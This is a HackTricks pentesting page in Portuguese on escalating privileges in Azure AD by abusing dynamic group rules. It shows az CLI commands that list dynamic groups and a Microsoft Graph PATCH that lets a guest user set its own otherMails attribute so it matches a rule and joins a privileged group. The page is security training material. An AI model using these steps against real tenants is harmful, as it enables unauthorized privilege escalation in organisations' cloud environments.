Az - Dynamic Groups Privesc

Reading time: 3 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Informações Básicas

Dynamic groups são grupos que têm um conjunto de regras configuradas e todos os usuários ou dispositivos que correspondem às regras são adicionados ao grupo. Sempre que um atributo de usuário ou dispositivo é alterado, as regras dinâmicas são reverificadas. E quando uma nova regra é criada, todos os dispositivos e usuários são verificados.

Dynamic groups podem ter Azure RBAC roles atribuídos a eles, mas não é possível adicionar AzureAD roles a grupos dinâmicos.

Esse recurso requer licença Azure AD premium P1.

Privesc

Observe que, por padrão, qualquer usuário pode convidar convidados no Azure AD, então, se uma regra de grupo dinâmico concede permissões a usuários com base em atributos que podem ser definidos em um novo convidado, é possível criar um convidado com esses atributos e escalar privilégios. Também é possível para um convidado gerenciar seu próprio perfil e alterar esses atributos.

Obtenha grupos que permitem associação dinâmica: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

Exemplo

  • Exemplo de regra: (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
  • Descrição da regra: Qualquer usuário convidado com um e-mail secundário contendo a string 'security' será adicionado ao grupo

Para o e-mail do usuário convidado, aceite o convite e verifique as configurações atuais de aquele usuário em https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Infelizmente, a página não permite modificar os valores dos atributos, então precisamos usar a API:

bash
# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks